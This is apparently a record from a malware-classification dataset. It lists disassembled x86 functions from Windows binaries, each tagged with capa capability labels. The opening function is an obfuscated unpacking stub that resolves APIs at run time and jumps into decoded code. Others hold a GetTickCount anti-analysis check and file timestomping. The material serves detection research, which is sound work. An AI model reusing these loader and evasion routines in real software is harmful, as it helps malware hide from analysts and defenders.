joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a80731a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x2a807329
pop dword [ebp - 0x34]
mov eax, 0x3f606794
add eax, 0xeb200b95
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xbfdfbe87
add dword [ebp - 0x44], 0x8e7286c4
mov dword [ebp - 0x40], 0xbe288831
sub dword [ebp - 0x40], 0x8bf53bec
mov dword [ebp - 0x3c], 0xb5471345
sub dword [ebp - 0x3c], 0x68facf17
mov dword [ebp - 0x38], 0x6743a6f8
sub dword [ebp - 0x38], 0x6743a6f8
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xea76069d
sub dword [ebp - 0x44], 0x76039d47
mov dword [ebp - 0x40], 0xd31adab6
sub dword [ebp - 0x40], 0x91ae7941
mov dword [ebp - 0x3c], 0x4669e0fd
add dword [ebp - 0x3c], 0x1d058b6f
mov dword [ebp - 0x38], 0xecdb7adb
sub dword [ebp - 0x38], 0xecdb7adb
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x4c28d
push 0
call eax
mov ecx, 0x9861b34f
sub ecx, 0x98616379
xor edx, edx
add edx, eax
mov ebx, 0x541c1efb
sub ebx, 0x299434fb
add ebx, dword [ebp - 0x34]
mov esi, 0x1ff8d0b6
add esi, 0xa99411c
add dword [ebp - 0x30], 0x790aa067
mov edi, dword [ebx]
xor dword [ebp - 8], edx
add edi, esi
xor dword [ebp - 4], edx
mov dword [edx], edi
xor dword [ebp - 4], 0x75dfe64e
add edx, 0x57a4f803
sub edx, 0x57a4f7ff
add ebx, 4
loop 0x2a807443
add eax, 0xb84e3a18
add eax, 0x47b2f813
xor ebx, ebx
add ebx, eax
add eax, 0xad9c9a86
sub eax, 0xad9c9a81
mov ecx, 0x2a800000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x2a80c4de
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
call dword [sym.imp.kernel32.dll_GetTickCount]
mov esi, eax
shr esi, 4
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
sub eax, esi
cmp eax, 0xc
jbe 0x2a80c4ea
pop esi
ret
Function at 0x402060
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x44f678], 0
jne 0x402185
xor ecx, ecx
nop
mov eax, ecx
test cl, 1
je 0x40207c
xor eax, 0x14002
shr eax, 1
test al, 1
je 0x402087
xor eax, 0x14002
shr eax, 1
test al, 1
je 0x402092
xor eax, 0x14002
shr eax, 1
test al, 1
je 0x40209d
xor eax, 0x14002
shr eax, 1
test al, 1
je 0x4020a8
xor eax, 0x14002
shr eax, 1
test al, 1
je 0x4020b3
xor eax, 0x14002
shr eax, 1
test al, 1
je 0x4020be
xor eax, 0x14002
shr eax, 1
test al, 1
je 0x4020c9
xor eax, 0x14002
shr eax, 1
mov dword [ecx*4 + 0x44f678], eax
inc ecx
cmp ecx, 0x100
jb 0x402070
push esi
xor esi, esi
nop
mov ecx, esi
mov eax, esi
shr ecx, 1
mov edx, ecx
xor edx, 0x82f63b78
test al, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0x82f63b78
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0x82f63b78
test cl, 1
cmove edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, 0x82f63b78
test dl, 1
cmove eax, ecx
mov dword [esi*4 + 0x44f278], eax
inc esi
cmp esi, 0x100
jb 0x4020e0
pop esi
ret

Function at 0x402190
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
or eax, 0xffffffff
xor esi, esi
test edi, edi
jle 0x4021b9
movzx ecx, byte [esi + edx]
inc esi
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x44f278]
cmp esi, edi
jl 0x4021a1
pop edi
not eax
pop esi
pop ebp
ret 4
Function at 0x4033d0
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0
push str.UserAgent_1.0
mov dword [ebp - 4], edx
mov esi, ecx
mov dword [0x43e894], 0x100
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [esi], eax
test eax, eax
jne 0x40340d
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret 4
cmp dword [ebp + 8], 0
push edi
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
je 0x403425
push 4
lea ecx, [ebp + 8]
push ecx
push 3
push eax
call edi
push ebx
lea eax, [esi + 0xc]
mov dword [esi + 0x20], 0x100
lea ecx, [esi + 0x248]
mov dword [eax], 0x3c
push eax
push 0
push dword [ebp - 4]
lea ebx, [esi + 0x48]
mov dword [esi + 0x38], ecx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x3c], 0x800
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push dword [ebp - 4]
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
test eax, eax
jne 0x40347a
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
pop edi
mov eax, 0xfffffffe
pop esi
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x18], 2
jne 0x40349d
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 0xa00
push eax
push 0x54
push dword [esi]
call edi
or dword [0x43e894], 0x800000
movzx ecx, word [esi + 0x24]
lea eax, [esi + 0x248]
push 0
push ecx
push ebx
push dword [esi]
mov dword [0x44fd78], eax
mov eax, ecx
mov dword [0x44fd7c], ebx
mov dword [0x44fe50], eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [esi + 4], eax
test eax, eax
jne 0x4034ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
pop edi
mov dword [0x44fd78], 0
mov eax, 0xfffffffd
pop esi
mov esp, ebp
pop ebp
ret 4
pop ebx
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403840
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc24
mov eax, dword [0x43e010]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x43e8f4], 0xffffffff
je 0x403946
lea eax, [ebp - 0xc1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
lea eax, [ebp - 0x40c]
push 0
push eax
call fcn.0041e990
movzx eax, word [ebp - 0xc10]
push eax
movzx eax, word [ebp - 0xc12]
push eax
movzx eax, word [ebp - 0xc14]
push eax
movzx eax, word [ebp - 0xc16]
push eax
movzx eax, word [ebp - 0xc1a]
push eax
movzx eax, word [ebp - 0xc1c]
push eax
lea eax, [ebp - 0xc0c]
push 0x42f7b0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0xbe0]
push eax
call dword [sym.imp.USER32.dll_wvsprintfW]
test eax, eax
jle 0x403946
push 0
push 0
push 0x3ff
lea eax, [ebp - 0x40c]
mov dword [ebp - 0xc20], 0
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xc0c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x42f7f4
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0xc20]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x40c]
push eax
push dword [0x43e8f4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041d3d1
mov esp, ebp
pop ebp
ret

Function at 0x403960
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x43e010]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x43e8f4], 0xffffffff
je 0x403a30
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x410]
push eax
movzx eax, word [ebp - 0x412]
push eax
movzx eax, word [ebp - 0x414]
push eax
movzx eax, word [ebp - 0x416]
push eax
movzx eax, word [ebp - 0x41a]
push eax
movzx eax, word [ebp - 0x41c]
push eax
lea eax, [ebp - 0x40c]
push str.__04d__02d__02d__02d:_02d:_02d__
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x3f6]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
test eax, eax
jle 0x403a30
push 0x42f7f4
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x420], 0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x40c]
push eax
push dword [0x43e8f4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041d3d1
mov esp, ebp
pop ebp
ret
Function at 0x403ab0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], ecx
push edi
mov ebx, edx
mov dword [ebp - 8], edi
mov esi, 0xfffffc19
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0xffffffff
call dword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
jle 0x403b79
push ebx
push edi
push dword [ebp + 8]
call fcn.0041e990
add esp, 0xc
push edi
push 0x8000080
push 3
push edi
push 3
push SysReAllocString
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0xc], esi
cmp esi, 0xffffffff
jne 0x403b2f
or esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 0
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403b5e
lea esi, [eax - 2]
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x403b6e
mov esi, dword [ebp - 8]
cmp ebx, esi
je 0x403b70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp - 8]
mov edi, eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403b90
Capabilities:
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x294
mov eax, dword [0x43e010]
xor eax, esp
mov dword [esp + 0x290], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [esp + 0xc], 1
mov eax, ecx
mov ecx, dword [ebp + 8]
mov ebx, edx
mov dword [esp + 0x14], eax
mov esi, 0xfffffc19
mov dword [esp + 0x18], ebx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x34], 0xffffffff
cmp dword [ebp + 0xc], edi
je 0x403c2e
lea ecx, [esp + 0x48]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403c26
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
jmp 0x403c2a
mov dword [esp + 0xc], edi
mov eax, dword [esp + 0x14]
mov ecx, dword [sym.imp.KERNEL32.dll_CreateFileW]
test ebx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
jle 0x403cd0
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call ecx
mov esi, eax
mov dword [esp + 0x20], esi
cmp esi, 0xffffffff
jne 0x403c6e
or esi, eax
call ebx
mov edi, eax
mov dword [esp + 0x10], edi
jmp 0x403cca
push 0
lea eax, [esp + 0x34]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 0
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push dword [esp + 0x34]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403ca5
lea esi, [eax - 3]
call ebx
mov edi, eax
mov dword [esp + 0x10], edi
jmp 0x403cc0
mov eax, dword [esp + 0x18]
cmp eax, dword [esp + 0x1c]
je 0x403cbe
mov esi, 1
call ebx
mov edi, eax
mov dword [esp + 0x10], edi
jmp 0x403cc0
xor esi, esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp dword [ebp + 0xc], 0
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
je 0x403d52
cmp dword [esp + 0xc], 1
jne 0x403d52
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x40000000
push dword [esp + 0x2c]
call ecx
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
jne 0x403d0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x403d4b
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [esp + 0x28]
push eax
push 0
push 0
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
mov edi, dword [esp + 0x10]
push edi
call ebx
mov ecx, dword [esp + 0x29c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041d3d1
mov esp, ebp
pop ebp
ret
Function at 0x403d70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov eax, edx
mov dword [ebp - 0x14], 0xffffffff
push edi
xor edi, edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edi
mov esi, 0xfffffc19
mov dword [ebp - 0x10], 0xffffffff
test eax, eax
jle 0x403e44
push edi
push 0x80
push 4
push edi
push edi
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403dd5
or esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x403e05
mov esi, 0xfffffffc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x403e3d
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 8]
push 0
push eax
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
jne 0x403e2b
call eax
mov edi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, dword [ebp - 8]
je 0x403e3b
mov esi, 1
call eax
mov edi, eax
jmp 0x403e3d
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bfa0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
push edi
push 0x80
push 3
push edi
push 1
push 0x40000000
push str..mailslotparser_engine
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40bfe4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
lea eax, [ebp - 4]
push eax
push 0x878
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40c009
lea edi, [eax + 2]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40cf00
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa44
mov eax, dword [0x43e010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
push 0x100
push 0
push 0x4583a0
mov esi, ecx
mov dword [ebp - 0xa24], 0
mov dword [ebp - 0xa1c], 0
call fcn.0041e990
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x202
push 0
push eax
call fcn.0041e990
add esp, 0xc
lea eax, [ebp - 0xa18]
push 0x802
push 0
push eax
call fcn.0041e990
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0x100
push 0
push ebx
call fcn.0041e990
add esp, 0xc
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x40d0f1
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jne 0x40d0eb
lea eax, [ebp - 0xa1c]
push eax
push 0x11
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
js 0x40d0c8
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0xa40], eax
lea eax, [ebp - 0xa18]
mov dword [0x458398], esi
mov dword [0x458390], 0
mov dword [0x458394], 0xffffff38
mov dword [ebp - 0xa44], esi
mov dword [ebp - 0xa3c], eax
mov dword [ebp - 0xa38], str.Please_select_a_Folder
mov dword [ebp - 0xa30], 0
mov dword [ebp - 0xa2c], 0
mov dword [ebp - 0xa28], 0
mov dword [ebp - 0xa34], 0x51
test edi, edi
je 0x40d067
push 0x100
push eax
push 0xffffffffffffffff
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0xa18]
mov dword [ebp - 0xa30], 0x40ce00
mov dword [ebp - 0xa2c], eax
lea eax, [ebp - 0xa44]
push eax
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov esi, eax
test esi, esi
je 0x40d0c8
lea eax, [ebp - 0xa18]
mov dword [ebp - 0xa24], 1
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push 0
push 0
push 0xff
push ebx
push 0xffffffffffffffff
lea eax, [ebp - 0xa18]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x433c38
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [ebp - 0xa20]
push esi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov edx, dword [ebp - 0xa1c]
test edx, edx
je 0x40d0df
mov eax, dword [ebp - 0xa20]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 0xa20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xa24]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0041d3d1
mov esp, ebp
pop ebp
ret 0x18
Function at 0x4119f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, ecx
push 5
push 0x55b
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebx
push 5
push 0x57a
push esi
call edi
push eax
call ebx
push 5
push 0x57b
push esi
call edi
push eax
call ebx
push 5
push 0x57c
push esi
call edi
push eax
call ebx
push 5
push 0x57d
push esi
call edi
push eax
call ebx
mov dword [ebp - 4], 0
mov eax, 0x55c
mov dword [ebp - 8], 0
nop dword [eax + eax]
push 5
push eax
push esi
call edi
push eax
call ebx
mov eax, dword [ebp - 8]
push 5
push dword [eax + 0x42f530]
push esi
call edi
push eax
call ebx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
shl eax, 2
mov dword [ebp - 8], eax
mov eax, dword [eax + 0x42f580]
test eax, eax
jne 0x411a60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411aa0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, ecx
push 0
push 0x55b
push esi
call edi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebx
push 0
push 0x57a
push esi
call edi
push eax
call ebx
push 0
push 0x57b
push esi
call edi
push eax
call ebx
push 0
push 0x57c
push esi
call edi
push eax
call ebx
push 0
push 0x57d
push esi
call edi
push eax
call ebx
mov dword [ebp - 4], 0
mov eax, 0x55c
mov dword [ebp - 8], 0
nop dword [eax + eax]
push 0
push eax
push esi
call edi
push eax
call ebx
mov eax, dword [ebp - 8]
push 0
push dword [eax + 0x42f530]
push esi
call edi
push eax
call ebx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
shl eax, 2
mov dword [ebp - 8], eax
mov eax, dword [eax + 0x42f580]
test eax, eax
jne 0x411b10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418280
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x2c
cmp dword [eax + 4], 0x44d
push ebx
push esi
push edi
mov ebx, ecx
jne 0x418455
cmp dword [eax + 8], 0xfffffe3d
jne 0x418455
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push 9
push 0x110a
push 0x44d
push ebx
call esi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push eax
call edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x113e
push 0x44d
push ebx
mov dword [esp + 0x24], 0x14
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
call esi
push eax
call edi
test eax, eax
je 0x418455
mov eax, dword [0x458a68]
mov ecx, dword [esp + 0x34]
cmp dword [eax*4 + 0x452bc0], ecx
je 0x418455
xor edi, edi
nop
cmp dword [edi*4 + 0x452bc0], ecx
je 0x41832f
inc edi
cmp edi, 0xa
jb 0x418320
push dword [0x43e8ec]
push edi
push str._Main_TreeView_Notify_______TreeView_GetItem_______________d_:__d_
call fcn.00403840
add esp, 0xc
cmp edi, 7
jne 0x4183c3
cmp dword [0x43e8ec], 0xc
jge 0x418414
cmp dword [0x458ac8], 0
push 0x30
push str._Confirmation_BOX
je 0x41836c
push 0x437e10
jmp 0x418371
push str.Not_available_in_current_edition.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [0x458a68]
push dword [eax*4 + 0x452be8]
push 2
push 0x1102
push 0x44d
push ebx
call esi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push eax
call edi
mov eax, dword [0x458a68]
push dword [eax*4 + 0x452be8]
push 9
push 0x110b
push 0x44d
push ebx
call esi
push eax
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp edi, 6
jne 0x4183e8
cmp dword [0x43e8ec], 0xb
jge 0x418414
cmp dword [0x458ac8], 0
push 0x30
push str._Confirmation_BOX
je 0x41836c
push 0x437e10
jmp 0x418371
cmp edi, 5
jne 0x418414
cmp dword [0x43e8ec], 0xa
jge 0x418414
cmp dword [0x458ac8], 0
push 0x30
push str._Confirmation_BOX
je 0x41836c
push 0x437e10
jmp 0x418371
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 5
push dword [edi*4 + 0x452bc0]
call esi
mov eax, dword [0x458a68]
push 0
push dword [eax*4 + 0x452bc0]
call esi
push dword [edi*4 + 0x452b98]
push 0x45a
push ebx
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov dword [0x458a68], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41dd84
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41ddc3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41ddc3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41ddc3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41ddc3
cmp dword [ecx + 0x74], 0xe
jbe 0x41ddc3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4231d2
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c518
push 0x42c510
push str.FlsAlloc
push 0x1e
call fcn.004230cf
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423206
push dword [ebp + 8]
mov ecx, esi
call dword [0x42a3c4]
call esi
jmp 0x42320c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x423250
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42c528
push 0x42c520
push str.FlsGetValue
push 0x20
call fcn.004230cf
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423287
push dword [ebp + 8]
mov ecx, esi
call dword [0x42a3c4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]